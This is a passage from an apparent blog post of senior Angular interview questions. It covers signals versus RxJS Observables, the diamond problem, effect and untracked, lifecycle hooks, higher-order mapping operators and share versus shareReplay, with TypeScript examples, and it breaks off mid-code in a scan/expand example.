&lt;p&gt;Signals in Angular were first introduced in May 2023 with version 16, and there was quite a bit of buzz even before their official release. What fascinates me is when a candidate says, &lt;em&gt;“Yeah, signals are here, but we worked on an older project and never migrated, so I never had a chance to try them out.”&lt;/em&gt; That's a red flag… what else can I say? As a senior developer, you're expected to have an understanding of newer features and how they work, even if you haven't used them in production yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  How would you convince your team to migrate a project from Observables to signals ?
&lt;/h3&gt;

&lt;p&gt;This question tells me two things. First, whether the person has a solid understanding of signals, and second, whether they've ever initiated a larger tech debt refactor on a project. I believe a senior developer should actively drive technical improvements and come forward with such initiatives. One solid answer might be something like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“Angular, and overall the whole frontend ecosystem, is clearly moving toward signals. There's even a &lt;a href="https://github.com/tc39/proposal-signals" rel="noopener noreferrer"&gt;TC39 proposal&lt;/a&gt; to support signals natively in JavaScript. Most of the new Angular APIs, like the Resource API, are designed to work with signals. Signals also simplify state management, since you can both listen to changes and synchronously read their current value.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Can you explain the diamond problem in Observables and why it doesn't occur with signals?
&lt;/h3&gt;

&lt;p&gt;So far, this question has had a very high failure rate, but I like to see how candidates react to a topic they've likely never encountered in an Angular interview.&lt;/p&gt;

&lt;p&gt;I first came across the diamond problem in the article from &lt;a href="https://dev.to/this-is-angular/i-changed-my-mind-angular-needs-a-reactive-primitive-n2g"&gt;Mike Pearson - I changed my mind. Angular needs a reactive primitive&lt;/a&gt;. He argues why RxJS, even if loved, may not be the safest choice for Angular's long term and why SolidJS chose signals.&lt;/p&gt;

&lt;p&gt;Mike talks about the diamond problem and the following example is heavily inspired from his blogpost. We are specifically curious about the behavior of the &lt;code&gt;combineLatest&lt;/code&gt; operator.&lt;/p&gt;

&lt;p&gt;Let's say we have an &lt;code&gt;effect&lt;/code&gt; that listens to two signals. Signals are synchronous and batched, meaning that if both signals are updated one after another, the effect will still run only once. However, if we use &lt;code&gt;combineLatest&lt;/code&gt;, it emits every time a dependency changes, resulting in multiple emissions even for the same update cycle.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;prop1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;prop2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prop1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prop1&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prop2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prop2&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Signal: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prop1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prop2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="nf"&gt;combineLatest&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="nf"&gt;toObservable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prop1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
        &lt;span class="nf"&gt;toObservable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prop2&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
      &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(([&lt;/span&gt;&lt;span class="nx"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Observable: &lt;/span&gt;&lt;span class="p"&gt;${[&lt;/span&gt;&lt;span class="nx"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prop1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;one&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prop2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;two&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mx6sfvzpdg7f86xy2pg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mx6sfvzpdg7f86xy2pg.png" alt="Diamond Problem" width="521" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the console output, you'll see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;effect&lt;/code&gt; logs only once, after both values are updated.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;combineLatest&lt;/code&gt; logs twice, once for each individual update.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a concrete example of the diamond problem - duplicated or excessive emissions due to shared dependencies in a reactive graph. Signals avoid this problem thanks to their synchronous and batched behavior. &lt;/p&gt;

&lt;p&gt;I know this may be more of a “gotcha” question, so you could rephrase the question into: “&lt;em&gt;Why can Observables like &lt;code&gt;combineLatest&lt;/code&gt; lead to unnecessary emissions, and how do signals prevent that?&lt;/em&gt;”&lt;/p&gt;

&lt;h3&gt;
  
  
  When to use &lt;code&gt;effect&lt;/code&gt; and &lt;code&gt;untracked&lt;/code&gt; in a signal based application ?
&lt;/h3&gt;

&lt;p&gt;Angular docs has a section &lt;a href="https://angular.dev/guide/signals#use-cases-for-effects" rel="noopener noreferrer"&gt;use cases for effects&lt;/a&gt;, that talks about when effects should be used. Based on that I expect a response from the candidate something like: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"&lt;em&gt;Use effect when you have no other alternative. For example when you need to rely on a reactive value and the other end isn't reactive. Use cases may include DOM API synchronizations, sending data into analytics, communication with a non-reactive library&lt;/em&gt;"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It's also important that the candidate has an understanding why the &lt;code&gt;untracked&lt;/code&gt; function is needed when we want to &lt;a href="https://angular.dev/guide/signals#reading-without-tracking-dependencies" rel="noopener noreferrer"&gt;remove dependency tracking&lt;/a&gt; in an &lt;code&gt;effect&lt;/code&gt;. Problems I personally encountered many times were that an effect was reading multiple signals, but also modifying some, therefore it created an infinite cycle and was running all the time. Personally, I use &lt;code&gt;untracked&lt;/code&gt; most of the time, leaving only the dependency signals outside of it. In the following example I want to focus on the input element when the button is clicked. I use &lt;a href="https://angular.dev/api/core/afterRenderEffect" rel="noopener noreferrer"&gt;afterRenderEffect&lt;/a&gt; which works similarly as &lt;code&gt;effect&lt;/code&gt;, with the key difference being that it runs after the application has completed rendering.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-focus-example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormsModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;changeDetection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OnPush&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;button (click)="editMode.set(!editMode())"&amp;gt;
      {{ editMode() ? 'Exit' : 'Enter' }} Edit Mode
    &amp;lt;/button&amp;gt;

   &amp;lt;input #editInput [(ngModel)]="value" [disabled]="!editMode()" /&amp;gt;
  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FocusExampleComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;editMode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Initial value&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;editInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;viewChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;editInput&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;editMode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;editMode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="nf"&gt;untracked&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;editMode&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// read the element reference once, without tracking it&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inputRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;editInput&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="c1"&gt;// defer the focus() until after the DOM is updated&lt;/span&gt;
            &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;})&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Are life-cycle hooks still needed in a fully signal based application ?
&lt;/h3&gt;

&lt;p&gt;This question is great for brainstorming with a candidate, whether he understands these hooks and also how signals work. Based on my experience, many life-cycle hooks can be replaced by signals and reactive primitives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;NgOnInit&lt;/code&gt; (NO) - Mostly replaceable with &lt;code&gt;constructor&lt;/code&gt; or &lt;code&gt;effect()&lt;/code&gt;. This hook is traditionally used for initialization logic that depends on resolved inputs, data fetching, or setting up observers. For simpler logic, &lt;code&gt;constructor()&lt;/code&gt; suffices, while more complex reactive scenarios are better handled with &lt;code&gt;effect()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NgOnChange&lt;/code&gt; (NO) - Can be replaced with &lt;code&gt;computed()&lt;/code&gt; or &lt;code&gt;effect()&lt;/code&gt;, as these can react to changes in &lt;code&gt;input()&lt;/code&gt; signal dependencies.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NgAfterViewInit&lt;/code&gt; (NO) - Replaceable with &lt;code&gt;effect()&lt;/code&gt; to perform updates on DOM elements, using &lt;code&gt;viewChild()&lt;/code&gt; signal references as dependencies.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NgAfterContentInit&lt;/code&gt; (NO) - Similar to &lt;code&gt;NgAfterViewInit&lt;/code&gt;, &lt;code&gt;effect()&lt;/code&gt; can handle initialization logic based on &lt;code&gt;contentChild()&lt;/code&gt; signal references or you can use the &lt;a href="https://angular.dev/api/core/afterNextRender" rel="noopener noreferrer"&gt;afterNextRender&lt;/a&gt; callback.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NgAfterContentChecked&lt;/code&gt; / &lt;code&gt;NgAfterViewchecked&lt;/code&gt; (NO) - are called after every change detection cycle, which makes them performance sensitive. You can replace them with &lt;a href="https://angular.dev/api/core/afterRenderEffect" rel="noopener noreferrer"&gt;afterRenderEffect&lt;/a&gt; which runs after the view has been rendered and a signal dependency changed. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NgOnDestroy&lt;/code&gt; (NO) - For cleanup tasks such as unsubscribing from third-party libraries, clearing intervals, or other manual teardown logic that signals don't automatically handle you can &lt;a href="https://angular.dev/guide/components/lifecycle#destroyref" rel="noopener noreferrer"&gt;inject DestroyRef&lt;/a&gt; and listen on &lt;code&gt;onDestroy&lt;/code&gt; for this purpose.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Angular Questions - RxJS
&lt;/h2&gt;

&lt;p&gt;Even in a fully signal based application, there are still use cases where RxJS is a better alternative. From my experience, nearly everything can be implemented by signals, but RxJS sometimes offers a more declarative or composable approach, especially when dealing with complex async workflows therefore I open a debate about some RxJS topics.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is a higher-order observable and how they differ ?
&lt;/h3&gt;

&lt;p&gt;For an indepth reading about this topic I include a blogpost that I've made in the past &lt;a href="https://dev.to/krivanek06/angular-interview-what-is-higher-order-observable-2k03"&gt;Angular Interview: What is a Higher-Order Observable?&lt;/a&gt;. A good example is the classic search box use case, where on each keystroke, an API request is made. The candidate should be able to explain how the behavior changes depending on which higher-order observable operator is used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;HttpClient&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;control&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;FormControl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;search$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;valueChanges&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c1"&gt;// switchMap, concatMap, mergeMap, exhaustMap&lt;/span&gt;
    &lt;span class="nf"&gt;switchMap&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;val&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt;
    &lt;span class="p"&gt;}))&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;switchMap&lt;/code&gt; - cancels any ongoing request when a new value is typed. Ideal for search boxes, only the latest input matters.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mergeMap&lt;/code&gt; - triggers all requests in parallel. Every keystroke results in a request, regardless of timing. Good for logging, but not ideal for searches.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;concatMap&lt;/code&gt; - queues each request and processes them sequentially, preserving order. Better for form submission flows, not live search.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exhaustMap&lt;/code&gt; - ignores new values while a request is in progress. Useful to prevent duplicate requests (e.g., during button mashing), but bad for fast-typing search boxes. If you don't use the &lt;code&gt;abortSignal&lt;/code&gt; for the &lt;a href="https://angular.dev/guide/signals/resource" rel="noopener noreferrer"&gt;resource API&lt;/a&gt;, it works as &lt;code&gt;exhaustMap&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What is the difference between &lt;code&gt;share()&lt;/code&gt; and &lt;code&gt;shareReplay()&lt;/code&gt; ?
&lt;/h3&gt;

&lt;p&gt;Too much of a theoretical question? Not at all. In a legacy project, which still mainly relies on Observables, you may have situations where you use one of them to multicast values to subscribers. There are, however, occasional bugs, for example, when you navigate back and forth between pages. The next time you come back, you no longer have the current value, or you just retriggered logic that should have been cached by the &lt;code&gt;shareReplay()&lt;/code&gt; operator. Or, you just ignore both and use &lt;code&gt;BehaviorSubject&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Both &lt;code&gt;share()&lt;/code&gt; and &lt;code&gt;shareReplay()&lt;/code&gt; are RxJS multicasting operators. They allow multiple subscribers to share the same source observable, preventing duplicated side effects (like HTTP requests).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;share()&lt;/code&gt; when you only want future subscribers to receive emissions. It doesn't retain or replay past values. Essentially, it converts a cold observable into a hot one.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;shareReplay()&lt;/code&gt; when you want new subscribers to immediately receive the latest emitted value(s). It's useful for caching scenarios where re-executing the source (e.g., an HTTP request) is costly or undesirable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can configure &lt;code&gt;shareReplay()&lt;/code&gt; using options like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bufferSize&lt;/code&gt; – The number of previous values to remember and replay to new subscribers. Typically set to &lt;code&gt;1&lt;/code&gt; for simple caching.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;refCount&lt;/code&gt; – When &lt;code&gt;true&lt;/code&gt;, the observable automatically unsubscribes from the source when there are no subscribers. When &lt;code&gt;false&lt;/code&gt;, it stays connected indefinitely (useful for app-wide shared streams).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What does this code do ? - &lt;code&gt;scan()&lt;/code&gt; + &lt;code&gt;expand()&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Both &lt;code&gt;scan()&lt;/code&gt; and &lt;code&gt;expand()&lt;/code&gt; are rarely used in everyday Angular development. However, their presence can indicate that a candidate has encountered more complex problems, problems that go beyond the usual use of &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, or &lt;code&gt;take&lt;/code&gt; operators. I like to show a practical example like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;paginationOffset$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nx"&gt;loadedMessages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;toSignal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paginationOffset$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;startWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;exhaustMap&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMessages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nf"&gt;expand&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; 
